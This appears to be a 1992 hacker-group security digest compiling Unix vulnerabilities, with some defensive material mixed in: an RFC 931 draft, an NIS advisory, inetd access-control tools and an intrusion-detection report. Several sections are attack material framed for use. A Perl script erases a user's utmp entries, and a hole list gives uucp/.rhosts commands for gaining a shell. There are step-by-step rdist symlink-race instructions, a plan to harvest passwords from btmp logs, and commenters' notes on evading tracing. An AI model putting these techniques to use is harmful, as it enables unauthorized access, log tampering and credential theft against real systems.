file has been changed*/ /* Main mostly does debug and error-checking things. It calls OpenEthers to establish the networks, and then calls MainLoop to do the serving. * /* save ethermask because "select" changes the bits to indicate which of the bits that were on in readfds correspond to files that have packets waiting on their net */ /* something to read from this ether */ OpenEthers() /* OpenEthers goes through all nets on this machine and opens a file for each Ethernet interface. It builds a pernet table for each file opened. It calls BringInTable to build a table of address pairs for each net. It sets up a packet filter for each net for RARP packets. */ /* gethostid really gets the main id and won't work if > 1 net: */ * Routines for reading and searching the table of * (Ethernet address, IP address) pairs. /* Parses the input line "line", entering the IP and Ethernet addresses * found into "tabent". This routine returns: * 1 if the line was successfully parsed, * 0 if the line is empty or begins with a comment character (; or #), * -1 if a syntax error was found in the line. --------------------------------------------------------------------------- ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Fri, 24 Jan 92 21:27:27 -0700 Subject: hideum.pl ============================================================================== Section Name chapter.sec.version 00/00/00 unwho.pl toolbox.01.0 01/23/92 ------------------------------------------------------------------------------ DATA: Here's a little program called "unwho" that deletes all entries for a given user from utmp. You could probably mogrify it trans what you want. #!/usr/bin/perl # This assumes your /etc/utmp file looks like ours $unname = shift; open(UTMP,'+ fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. -Dark Overlord ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== Date: Thu, 13 Feb 92 10:25:40 -0700 Subject: rdist.hole ============================================================================== Section Name chapter.sec.version 00/00/00 rdist.hole 06.00.00 02/13/92 ------------------------------------------------------------------------------ DATA: In the RDIST program, a subprogram called SERVER.C has a subroutine called CHOG which issues two faulty calls to SETREUID. To exploit this, you: o Create a very large file with garbage in it. o Make the file SETUID o Create /temp directory o RDIST -C filemane hostname:/temp o Suspend the job that is updating the large file. o Within /temp, there will be two files created by RDIST... One by the server, the other by the client. o REMOVE the file with a filesize greater than zero. o Replace the REMOVEd file with a symbolic link to the target (victim) file (hint: use the LN command). o Unsuspend the process. o RDIST will now change the target file protection to the same as the temp file. The above will work on all Berkeley, SUN, and SCO systems. Life is a bitch, then you grow old. -Rosco ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:38:18 -0700 Subject: rfc.authd.draft ============================================================================== Section Name chapter.sec.version 00/00/00 rfc.authd.draft 01.13.00 02/13/92 ------------------------------------------------------------------------------ DATA: (This is extracted from the complete draft that should be available on the INFOHAX fileserver) The Identity Server announces the user of a particular TCP connection to the host on the other end of the connection. Given a TCP port number pair, it returns a character string which identifies the owner of that connection on the server's system. Suggested uses include detection of SMTP and NNTP forgeries, additional verification for a remote login, terminal server usernames, and user-to-user file transfer. A particularly important application of the Identity Server in today's Internet is tracing network attackers through mainframes. This is a connection-based application which runs over TCP. The server listens for TCP connections on port 113 (decimal). 5. Caveats The user identifier returned by the Identity Server on a host is only A> as trustworthy as the host itself. (Needless to say, the association between a user identifier and a real person is only as secure as the mechanism by which the host establishes that association.) Attempts to interpret the user identifier outside the context of the host will inevitably lead to security violations. Therefore the client must never use a user identifier without also keeping track of the IP address whose Identity Server generated the identifier. When possible it should also keep track of the domain name corresponding to that IP address. B> In theory, the Identity Server decreases security by announcing usernames which, were it not for SMTP, Finger, and several other protocols, could be kept secret. Administrators of hosts supporting the Identity Server should be aware that as soon as user shmoe connects to host X, anyone on host X can find out shmoe's username simply by guessing the TCP port numbers. 6. Identity Server security This section provides an informal discussion of the security added by the Identity Server. It is important to note at the outset that this server does not in any way remove the need for protocols, such as Kerberos, which encrypt data. The Identity Server can and should be used to supplement, never to replace, existing security mechanisms. The Identity Server completely eliminates username forgeries above the TCP level. On a host supporting this RFC, a forger, system cracker, or other criminal cannot hide behind the anonymity of a TCP C> connection; to forge his username he must forge TCP packets. (It goes without saying that if a system cracker acquires privileges and disables the proper functioning of the Identity Server, then the usernames reported by the server will not be accurate. In that situation ``username forgery'' does not even make sense, for the system cracker has complete control over all usernames. As stated in section 5, the user identifier returned by the Identity Server on a host is only as trustworthy as the host itself.) Unfortunately, forging TCP packets is rather easy. Bellovin has outlined several attacks which compromise IP and TCP [1]. The Identity Server happens to make some of the attacks much more D> difficult. For instance, a fake source route will be ignored when the target makes a second connection to the Identity Server, so a username cannot be faked with source route attacks. Some attacks are E> also ineffective against after-the-fact tracing: for example, posing as another host on the same Ethernet while that host is down can always be detected (though it is very difficult to trace this attack back to its source). Furthermore, the Identity Server uses IP addresses, so it avoids the Domain Name Server's lack of security. Unlike passwords sent in cleartext (via, e.g., TELNET), the Identity Server cannot even be spoofed by an attacker who can read every packet sent across the network. F> However, ICMP Redirects and other comprehensive routing attacks can be neither detected nor stopped from anywhere except the target router. To completely stop forgeries requires not only the Identity Server but a secure TCP. Kerberos v5 [6] solves these problems thoroughly and efficiently, although it does not yet fully support wide-area networks. G> It is perhaps worthwhile to draw an analogy between the Identity Server and security in the telephone system. Without the Identity Server, a phone trace (or Caller-ID, where it is permitted by local regulations) provides the phone number of the caller. When the phone number is the number of a large company and the caller was actually at an extension inside the company, this tracing mechanism is nearly useless. The Identity Server provides the extension. Admittedly, the extension is meaningless when the phone number refers to someone's house (a microcomputer), or to a company that lets its employees pick their extensions (an insecure mainframe). But it provides a huge benefit for tracing within honest companies. If Foo Corp. tells Bar Inc. that it's been receiving prank calls (forged mail, system cracking) from one of Bar's phone numbers, Bar can't do anything. But if Bar has installed the Identity Server, Foo can find out the phone extension as well, and Bar can track down the renegade employee. Someone who can invade the security of the phone system itself (i.e., someone who breaks TCP) will find the Identity Server at most a minor nuisance. To stop him you'd have to start encrypting your phone lines (Kerberos). But for most people the Identity Server removes the anonymity provided by large organizations (mainframes) all of whose calls are tagged with the same phone number (IP address). It thus forms a quite effective deterrent. A common argument against RFC 931 was that its usernames are meaningless for microcomputers. However, consider the phone analogy. It doesn't matter that Dr. Shmoe can forge extensions within his own house to his heart's delight---because anyone who traces his prank calls will find out that they came from Shmoe's house. Nobody will care about the faked extension when Dr. Shmoe is arrested. In other words, the Identity Server neither helps nor hurts the security of such connections. Note that if ``Shmoe's house'' is instead a public meeting place with no physical security and with public phones which let users specify any extensions they want, it will not be possible to trace calls to the actual people who happened to be using those phones. In other words, if a microcomputer or unprotected workstation with no physical security is available for the public to use, it will not be possible to trace security violations emanating from that computer. Once again this is a problem independent of the Identity Server. The Identity Server is beneficial in that it discriminates between the users of a multi-user computer. 7. Applications The most important use of the Identity Server in today's Internet is to track system crackers across the network. A combination of IP lookups and Ethernet tracing usually suffices to identify the physical machine involved in an ongoing attack. However, if that host has many users and its manager is not available, there is no way to identify which user is responsible for the attacks. It has thus H> become popular with system crackers to log into a series of mainframes, each providing an extra layer of anonymity. The Identity Server removes this anonymity by announcing the username at each step. As more and more hosts on the Internet support the Identity Server, it will become more and more difficult for an attacker to avoid leaving a trail of usernames. I> Another natural use of the Identity Server is to detect SMTP and NNTP forgeries. Patches are available for sendmail [3] and nntpd [5] to record the sending username. FTP can record the name of the user performing an "anonymous ftp" [4], rather than depending on the user to give his name. Many other user-level protocols, such as BSD talk [2], can also benefit from user identifiers. Note that all these applications use the Identity Server to supplement, never to replace, other security mechanisms. The user identifier provided by the Identity Server can allow more secure authentication and finer access control for remote login than some current access control mechanisms, which are based solely on the incoming IP address and host name. If the identifier is also recorded in system logs, then network attacks can be traced back to individual users rather than entire mainframes, as discussed above. It is important to note that this in no way removes the need for passwords or other forms of cryptographic authentication. The Identity Server supplements, never replaces, other security mechanisms. J> Many sites have terminal servers which allow Internet connections. A user can connect to the server, then connect to anywhere on the Internet (or, in some cases, anywhere on the local net). With the Identity Server, terminal servers can record usernames, then report those usernames on outgoing connections. For instance, if joe@host.com connects to terminalserver.edu and then to site.gov, terminalserver.edu can respond to an Identity Server request with USERID : OTHER : joe@192.6.6.6(host.com). The login might show up in site.gov's logs as joe@192.6.6.6(host.com)@terminalserver.edu. This would prevent abuse of the terminal servers for anonymous system cracking attempts. Note once again that the Identity Server only supplements other security mechanisms (though in this case there typically aren't any other security mechanisms to begin with). The Identity Server can also be used for user-to-user file transfer, where one user SENDs a file and another RECEIVEs it without passwords. The file is queued on the sending host, not the receiving host. SEND can be implemented as a mail message or other notification of a TCP port where the file can be picked up. RECEIVE is then a connection to that TCP port; the receiver uses the Identity Server to make sure the sender is who he should be, and vice versa. Of course, the Identity Server is only a minimal security mechanism necessary to make a SEND-RECEIVE protocol practical. It would be better if all communications were completely encrypted. 8. References [1] Bellovin, S. M., "Security Problems in the TCP/IP Protocol Suite", Computer Communications Review, April 1989. [2] Bernstein, D. J., "Unofficial patches to talk for RFC 931 support", February 1991. Available for anonymous ftp from wuarchive.wustl.edu in usenet/alt.sources/articles/2687.Z. [3] Bernstein, D. J., "Unofficial patches to sendmail for RFC 931 support", February 1991. Available for anonymous ftp from wuarchive.wustl.edu in usenet/alt.sources/articles/2728.Z. [4] Myers, C., "wuarchive ftpd", September 1991. Available for anonymous ftp from wuarchive.wustl.edu in packages/ftpd.wuarchive.shar. [5] Sayer, N., "Unofficial RFC931 patches to nntp", February 1991. Available for anonymous ftp from wuarchive.wustl.edu in usenet/alt.sources/articles/2746.Z. [6] Ts'o, T., et al., Kerberos v5 beta, Massachusetts Institute of Technology, June 1991. ------------------------------------------------------------------------------ Comments: A> If you have root, you can change usernames, or su to anybody B> not mutch of a concern C> Packet forgers are becoming more important, as are ethernet stuffers, we need to work on this area... D> source route attacks - need info... E> posing as down host - need info... F> ICMP redirects and other comprahensive routing attacks - need info... G> a usefull way arround it... H> So this will be like SxS switches, where we'll need to go through a system that doesn't support the tracing to evade it... I> SMTP and NNTP forgeries - please write something on this, someone... Comments: J> Of cource we NEVER use someone elses account, god forbid we ran a password cracker... Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:37:14 -0700 Subject: b-wtmp.prog ============================================================================== Section Name chapter.sec.version 00/00/00 b-wtmp.prog 01.12.00 02/13/92 ------------------------------------------------------------------------------ DATA: Feedback on sec 01.01.00, sysadmin.comments and a program being worked on as a result: The line:"Some of them will show passwords typed in where usernames should be, which is why btmp is supposed to be readable only by root" Ok, so if you can get root, and read this file, you should be able to get a few passwords out of it. To help this task a program that would automate some of this would be usefull. This tool would corellate usernames that logged in arround that time with entries where they made a typo or something. There are basicly 3 types of entries that are likely to be found: 1) the user types in a legit password, but eithor puts it in the login field, makes a typo, or is hit with linenoise. in any of these cases you should have most or all of the password. 2) the user types in the wrong password (check .forward files, lastcomm, etc to try to figure out where else they have an account.) 3) hackers... won't get anything from these entries... Anyway, a program should be able to match those entries that are from users on the system, and identify what category of problem exists... ie: username is 1 char off: password is probably good username and password clean: maybe typo, or password on dif system username doesn't exist: hacker garbage in password: linenoise, may be worth guessing/brute force ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:39:08 -0700 Subject: son.of.IP ============================================================================== Section Name chapter.sec.version 00/00/00 son.of.IP 01.14.00 02/13/92 ------------------------------------------------------------------------------ DATA: >I have used the hosts_access package with some success. What this >package does is disable connections from a host or set of hosts. So >you set up all of the machines on your ethernet with the host_access >package, and set up the files so that any attempt to use a tcp service >from your gateway is canceled. The most recent version now also supports access control and monitoring of UDP and RPC requests. Available from ftp.win.tue.nl (131.155.70.100), file /pub/security/log_tcp.shar.Z. ----------------------- TdR> In fact, if your site uses the name daemon, and the intruder can guess TdR> what just one line in your .rhosts file says, he can get into your TdR> account very easily. Yeah, yeah, CERT & gang have been told. Sun actually got this one right, though they did it in the wrong place ;-) Sun's resolver library won't return a name on a gethostbyaddr() unless an A record lookup on that name returns that address. This is great for r-access, but not so hot for stuff like traceroute, since *some* people (hi NSF) don't have proper A records matching their PTRs. There's also she host_access package (look for log_tcp with archie) that has a define, -DPARANOID, which does the same thing (disallows connections from sites that don't match properly) and can be added on to any system. It can also block telnet/rlogin/whatever from sites you don't want to hear from (open terminal servers at someone else's site, perhaps ;-) ------------------ TCP/IP Connection Monitoring It is occasionally needed to perform ethernet monitoring to check for unauthorized connections (connections from random machines around the internet to the telnet (or other) ports). You might not want to restrict all access, but one the other hand you want to keep an eye on what is going on. The only problem is that programs like tcpdump or etherfind monitor the ethernet on a packet-by-packet scale instead of on a connection bases (one line per connection) which makes it difficult to get an idea of what is happening (since you can easily lose or forget about packets that get overwhelmed by voluminous connections. So in order to solve this problem I wrote conmon. conmon takes the output of tcpdump and prints a given connection only the first time it is seen so that you can easily see all connections. Every screenful of connections it clears the current list of connections so that active connections will be seen on the new screen. Both tcpdump and conmon are available for anonymous ftp from ftp.ctr.columbia.edu [128.59.64.40] ------------------- New network security mailing list: rfc931-users RFC 931, the Authentication Server, stops the most common type of mail and news forgery, increases the security of other TCP connections, and helps security organizations trace Internet attackers. It is supported by at least three (completely interoperable) UNIX server implementations, used by several clients including the newly released wuarchive ftpd, and installed at sites throughout the United States and Europe, ranging from the Air Force to companies as large as 3M. It is currently the only freely available wide-area TCP security protocol, yet it can run in tandem with other security protocols such as Kerberos. I've created a new mailing list, rfc931-users, for people who want to use the Authentication Server to solve problems. The mailing list is rfc931-users@kramden.acf.nyu.edu; to join, send mail to brnstnd@nyu.edu. ------------------ > Is it possible to fake the source of a packet traveling on the net? > The obvious secuirty breach I'am thinking of is this: Machine A is remotely > connected to Machine B. Is it possible to send information; ie commands, > to Machine B from another machine and make Machine B **think** it came > from Machine A? Kerebose can provide security when you first connect, but > after the connection is made...... Yes, of course. Depending on the Protocol. For TCP/IP you can read a good summary on Security Problems in S.M.Bellovin, Security Problems in the TCP/IP Protocol Suite, Computer Communication Review, Vol 19, No 2, pp 32-48, April 1989. -------------------- >Is anyone able to name me an ftp-server which contains this document? You can find it at: research.att.com under: dist/Secure_Internet_Gateway.ps Btw.: This article is critizised in: S. Kent, "Comments on 'Security Problems in the TCP/IP Protocol Suite", ACM Computer Communication Review, Vol 19 No. 3, July 1989, pp. 10-19. -------------------- Re: NIS and password security There have been a number of queries and some not completely accurate information posted on this question. I'll try to summarise the problem and suggested workarounds. None of the workarounds is particularly satisfactory, The problem is this: ypserv is totally indiscriminate about which machines it will respond to queries from. Normal NIS maps can be read by anyone on the Internet who can route packets to your NIS server and back. "secure" (HA!) NIS maps like passwd.adjunct can only be read if the querier is using a privileged port (< 1024). This means that anyone can read your "secure" maps if they can crack root on some machine on the Internet and can route packets to your machine. The bug means that many machines on the Internet which use NIS are vulnerable to having their password files stolen and run through "Crack" or similar. Arguments about whether distributing Crack and fast U*ix encryption algorithms was a good idea aside, every wannabe cracker now has a copy of a reasonably state-of-the-art password guesser. As I said in my earlier post on this subject, the combination "I'm NIS and I serve everyone" and easily available password guessers has already led to breakins at some sites. This bug was reported to Sun in April 1990, and CERT has also been aware of it for about the same length of time. I am told that the bug will be fixed in NIS+ or NIS3.0, or whatever it's called this week, which I understand will be available in Solaris 2.0. What to do about it: 1) The Sun Party Line. "Don't run ypserv on your gateway and disable IP forwarding on the gateway". This is commonly known as a "firewall" (provided the machine is also in other respects reasonably secure) and is probably already done by many commercial users of the Internet. It is not the greatest in convenience, and most University sysadmins would encounter, lets say, a little user resistance. Managing the gateway is also a pain. Switching off `routed' alone, as has been suggested here, is usually insufficient. However, provided the security of the firewall is not breached, you are safe from this attack, and many others. Instructions on how to disable IP forwarding in the kernel are in Sun's Network Admin manual. 2) The Lamb Party Line. If you communicate to the outside world through a smart router, filter out packets coming from external connections addressed to destination ports sunrpc/udp&tcp (port 111) and ports 600-1023, tcp&udp. This will prevent access to *all* sunrpc services from outside the router. It will also block access to the Kerberos protocols (probably also not a bad idea given the info. in Steve Bellovin's paper about Kerberos security problems), and will probably block the BSD `r' (rcp,rlogin, etc) commands, but don't count on it doing so. If you and your router are smart enough, you may be able to make the `r' commands work. Eg, for rlogin, allow the packets through iff their source is 513/tcp (this opens up a hole for a sufficiently clever cracker, though). Blocking port 111 alone is insufficient but will block the most obvious attacks (including those I've been told have already actually occurred). The above two solutions are the only real answers to the problem. There are some workarounds which make life harder for the potential cracker. 1) Choose a hard-to-guess NIS domain name. The cracker must be able to guess your NIS domain name in order to talk to ypserv. This is purest security- through-obscurity. The domain name is normally only handled by automatic systems, and can be up to 64 characters long. Making the first part a reasonable handle may help system administration. Something like my-old-domainname-Ldp.T2d9wCY is probably reasonable. This precaution is vulnerable to "social engineering" attacks, ie. the cracker trying to fool a user at your site to reveal the domain name, since the NIS domain name can be discovered by any user on your machines. 2) Use passwd+ or npasswd to vet passwords. If you do this, you need to make all your users put their current password through the new password program. Using a premptive check on passwords for idiotic usage is a good idea anyway, independent of whether you use NIS or not. If you have Suns and you'd rather spend money than install free software, Sun Shield (TM) also provides this capability, along with other more or less useful things. Convex provides some similar capabilities in their passwd(1) program. Some other manufacturers may also have similar capabilities. The more sites that do this, the more frustrating it will become for crackers trying to guess passwords. Note that this problem is common to all versions of NIS or Yellow Pages, that I know of not just on Suns. It will probably go away in NIS+ aka NIS3.0, but it seems that this will be a little while coming, and for non-Sun machines even further off. Using NIS in combination with Sun's so-called `C2' security will *not* help. For those not aware of current technology in password guessing programs, Alan Muffet (?sp) "Crack" program can test > 500 guesses/sec against a U*ix encrypted password on any modern RISC workstation. This means that an encrypted password can be checked against the entire /usr/dict/words in less than a minute. "Crack" has been posted to the network, and you can assume that most crackers and wannabe's have a copy. PS: Sorry, I will not respond to requests for more details about how to exploit this hole. Sun and CERT have full details. If you have a Sun s/w maintenance contract, the escalation SO# was 484666 and the Sun BugId was 1036869. Please contact Sun if you feel you need more details. ---------------------- You might look at in.src a program provided by CIAC to do just what you ask. You can get it by anon ftp from irbis.llnl.gov:/ftp/pub/util/insrc.tar.Z --------------------- in.gate ftp site Seems as if the cat is out of the bag (before I was really ready :-), in.gate is available by anonymous ftp from: Site: cse.ogi.edu Directory: pub/in.gate File:in.gate-1.01.shar --John Pochmara pochmara@cse.ogi.edu P.S. the only different between 1.01 and 1.0 is some documentation changes. ----------------------- We also have a modified version of the inetd available as a source patch to the standard BSD 4.3-Reno inetd source. Unfortunately this cannot support rpc services, I would however be happy to update it when I can obtain an inetd with rpc. The server reads a configuration file containing lines of the form: ajax.rsre.mod.uk finger/tcp, talk/udp rsre.mod.uk smtp/tcp Where the first component contains a host name (in DNS format) or a partial domain specification (such as rsre.mod.uk). This has the advantage of allowing services to be permitted on domain/administrative boundaries rather than on physical ip addresses. Development is still under way, but the initial implementation has proved useful and is used to filter most of our incoming services. The daemon also logs all incoming service requests indicating the source IP address of denied service requests. I can send the source patch to any interested parties. Dave Ferbrache Defence Research Agency St Andrews Road Great Malvern +44 684 895986 --------------------- A version of the tcp-log program which offers the possibility of starting different services, depending on who calls, or of giving an appropriate error string while rejecting connections is available for ftp from ftp.bnr.co.uk as "Exports/tcp-switch.sh" Otherwise the functionality seems simmilar to in.gated described elsewhere on this list. I hope you find it useful. ---------------------- I showed some of this discussion to my friend Roland McGrath, of FSF who said, "I did one of those." So I asked him for a copy. He sent me a shar file prefaced by a few comments which I extract from: Here is a shar of the source to my inetd. It is a modified version of the 4.4 inetd. I got the original Berkeley sources from ftp.uu.net. Systems which have a real setsid call should not use setsid.c, which I wrote to emulate setsid on 4.3BSD. I am actively maintaining this program, and am interested in bug reports. However, I'm maintaining only for the purpose of the FSF's use of it, and am not particularly interested in new features that will not be of use to us (I'll listen to suggestions, though). There is no documentation. You can get the BSD inetd manpage from uunet. My changes to their version are: * Ported to 4.3BSD on hp300s, HPUX 7.0 (I think) on hp834s, and sun4 running sunos4.1. * Added sunrpc support. Easily commented out for systems without sunrpc. mtXinu's MORE/bsd 4.3+NFS, and SunOS4.1 use different syntaxes for sunrpc services in /etc/inetd.conf. My version understands both syntaxes. * Added security support; new configuration file /etc/inetd.sec. Based on the feature of HPUX's inetd (you can look at their documentation if you have an HP machine handy, or log in to one of ours to look), but not quite the same. Basically, /etc/inetd.sec contains lines like: telnet deny undesireable.machine.com ftp deny *.undesireable.domain.edu login allow blessed.machine.org shell allow 128.52.46 telnet rejections /bin/echo echo We do not like you. This says: Allow telnet connections from anywhere except undesireable.machine.com; allow ftp connections from anywhere except anything matching *.undesireable.domain.edu (that's a shell glob pattern); allow rlogin only from blessed.machine.org; allow rsh only from things on subnet 128.52.46; when undesireable.machine.com tries to make a telnet connection, echo is run in place of telnetd. There can be as many allow/deny lines as you like. Each line can have as many names or nets as you like, separated by whitespace and/or commas. The restrictions build, so "allow *.mit.edu" followed by "deny 18" will allow things in mit.edu unless they're on net 18. If the first thing is a deny, then calling hosts that don't match any allow or deny lines are allowed; if the first thing is an allow, then unmatched hosts are denied. The rejections lines give daemon program and args just like lines in /etc/inetd.conf do. I didn't include a makefile because the one I use is GNU make-specific and refers to pathnames on my machine which don't make sense elsewhere. ---------------end of Roland's comments -------- This was followed by 2000 lines of shar. The shar file is available via anonymous ftp from ccb.ucsf.edu (128.218.1.13). The file's name is /pub/inetd.fsf.Z. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:41:08 -0700 Subject: audit.tools ============================================================================== Section Name chapter.sec.version 00/00/00 audit.tools 1.14.0 02/13/92 ------------------------------------------------------------------------------ DATA: Summary of the Trusted Information Systems (TIS) Report on Intrusion Detection Systems - prepared by Victor H. Marshall ******************************************************************** INTRUSION DETECTION IN COMPUTERS January 29, 1991 1. EXECUTIVE SUMMARY. Computer system security officials typically have very few, if any, good automated tools to gather and process auditing information on potential computer system intruders. It is most challenging to determine just what actions constitute potential intrusion in a complex mainframe computer environment. Trusted Information Systems (TIS), Inc. recently completed a survey to determine what auditing tools are available and what further research is needed to develop automated systems that will reliably detect intruders on mainframe computer systems. Their report #348 was done for the Air Force and includes details on nine specific software tools for intrusion detection. 2. BACKGROUND. Computer security officials at the system level have always had a challenging task when it comes to day-to-day mainframe auditing. Typically the auditing options/features are limited by the mainframe operating system and other system software provided by the hardware vendor. Also, since security auditing is a logical subset of management auditing, some of the available auditing options/features may be of little value to computer security officials. Finally, the relevant auditing information is probably far too voluminous to process manually and the availability of automated data reduction/analysis tools is very limited. Typically, 95% of the audit data is of no security significance. The trick is determining which 95% to ignore. 3. SPECIAL TOOLS NEEDED. A partial solution to this problem could be to procure or develop special automated tools for doing security auditing. For example, in the IBM mainframe environment, programs such as RACF, CA-ACF2, and CA-TOP SECRET are commonly used to control data access and programs such as CA- EXAMINE are used to supplement standard systems auditing. Nevertheless, most of these generally-available software systems do not comprehensively address the problem of intrusion detection. In fact, intrusion detection is one of the most challenging (security) auditing functions. There are, in fact, few existing systems designed to do this, and they must be tailored to specific operating systems. Also, they do not generally gather auditing information on activities within database management systems or application software. Much research and development needs to be done before intrusion detection will be generally available. 4. REPORT AVAILABLE. In the meantime, however, it would be wise to stay abreast of the state-of-the-art in automated auditing tools for helping security managers detect intruders. TIS, Inc. recently completed a very comprehensive report on the tools currently available for intrusion detection and the recommended directions for future research. TIS report #348 is entitled "Computer System Intrusion Detection, E002: Final Technical Report" and is dated September 11, 1990. It was done under contract to the Rome Air Development Center at Griffiss Air Force Base in New York. TIS report #348 comprehensively covers the known intrusion detection techniques. It also reviews the nine comprehensive intrusion detection tools currently available or under development. a. Intrusion Detection Techniques. Although intrusion detection is normally accomplished using software tools, hardware tools are potentially more secure because they cannot be easily altered. In either case, intrusion detection requires that security-related auditing data be collected, stored, and analyzed. (1) Data Collection. Specific events or sequences of events must be defined as important enough to cause generation of an audit record. Potentially every event has security significance, but logging the details of every event would probably eliminate any hope of processing efficiency (or even effectiveness). Thus, someone must decide which events to log and when. Also, as noted earlier, the events logged tend to be exclusively operating system events. It would be useful to be able to log some events internal to database management systems and/or application systems. (2) Data Storage. Some auditing data can be processed in real-time, but most of it will go to an audit log for later review. Security is concerned with the extent to which: - The storage medium for the audit log is READ-only and non-volatile, - The computer system used to store the audit log is connected/linked to the one from which the auditing data was gathered, and - The electronic (or manual) data paths are protected. (3) Data Analysis. By far, the most difficult task is to analyze the auditing data. A comprehensive audit log will certainly be too voluminous for reasonable human processing. Thus, the following techniques (in addition to other techniques) must be used in some ethical/legal combination to reduce the security-relevant audit data to meaningful conclusions: - User Profiles - Anomalies - Historical Norms - Trend Analyses - Probable Scenarios - Known System Flaws - Threat Probabilities - Simulated Intrusions - Statistical Sampling - Expert System Rules - ArtificIal Intelligence - Hierarchies of Concern (Levels of Security) - Heuristics - Neural Networking (4) User Interface. Finally, the data analysis process should have a "friendly" user (i.e., security manager) interface that supports rapid learning, minimal frustration, and effective results. b. Nine Tools Reviewed. The nine automated tools reviewed in some depth in TIS report #348 are: (1) ComputerWatch Audit Reduction Tool. AT&T Bell Laboratories developed ComputerWatch in 1989 to summarize their internal audit files produced by System V/MLS, a version of UNIX. ComputerWatch could be used on other systems if the appropriate changes were made to the format/filter module. (2) Discovery. TRW Information Systems Division developed Discovery in 1986 to analyze access data from their credit database housed in a dial-up network of IBM 3090s running under the MVS operating system. Because it is application- specific, Discovery could not be easily implemented in other environments. However, Discovery does process auditing data produced by IBM's standard System Management Facility (SMF). (3) Haystack. Haystack was developed by Haystack Laboratories, Inc. for the Air Force Cryptologic Support Center in 1988 to analyze data from Unisys 1100/2200 mainframes running under the OS/1100 operating system. The actual analysis is done on a personal computer (such as the Zenith Z-248) running under MS-DOS. Haystack could not be easily implemented in other environments. (4) Intrusion-Detection Expert System (IDES). The IDES model was developed by SRI International in 1985 and has been implemented on Sun workstations as a research prototype under a contract with the U.S. Navy (SPAWAR). A version of IDES for IBM mainframes (using the MVS operating system) will soon be implemented under a contract with the Federal Bureau of Investigation (FBI). IDES is designed to be easily implemented in many different environments. The IDES model has been the basis for most intrusion detection research to date and it forms the conceptual basis for Haystack, MIDAS, and W&S. (NOTE: Haystack was covered above. MIDAS and W&S are covered below.) (5) Information Security Officer's Assistant (ISOA). ISOA is an R&D prototype system developed by Planning Research Corporation (PRC) in 1989 to analyze data from two types of system - the UNIX SunOS and the IBM AT Xenix. The actual analysis is done on a Sun 3/260 color workstation. ISOA is table driven, so it can easily be used to monitor many different environments. (6) Multics Intrusion Detection and Alerting System (MIDAS). MIDAS was developed by the National Security Agency's (NSA's) National Computer Security Center (NCSC) in 1988 to analyze data from a Honeywell DPS-8/70 computer running the Multics operating system (in support of NSA's Dockmaster system). NCSC intends to further develop MIDAS so it can process audit data from Sun and Apple systems. (7) Network Anomaly Detection and Intrusion Reporter (NADIR). NADIR was developed by the Department of Energy"s Los Alamos National Laboratory (LANL) in 1989 to analyze data from a unique LANL Network Security Controller (NSC). There are no plans to modify NADIR for use in other systems. (8) Network Security Monitor (NSM). An NSM prototype was recently developed by the University of California Davis (UCD) and is currently running on a Sun 3/50. NMS was designed to analyze data from an Ethernet local area network (LAN) and the hosts connected to it. NSM is a research system, but UCD hopes to eventually expand it's scope to include real environments, real attacks, and perhaps wide area networks. (9) W&S. W&S is an anomaly detection system that has been under development at LANL for the NCSC and DOE since 1984. W&S runs on a UNIX workstation and can analyze data from several different systems. c. More Research Needed. The specific TIS recommendations for further research include the following near-term (1 to 5 year) and long-term (over 5 year) recommendations. (1) Near Term Recommendation. The main near-term recommendation is to develop and commercially market an audit analysis "tool kit" flexible enough to meet the needs of a wide variety of security users and of a very dynamic environment. This would require that, among other things, someone: - Study the techniques for coordinating data from multiple levels of system abstraction. - Explore methods for integrating components of existing 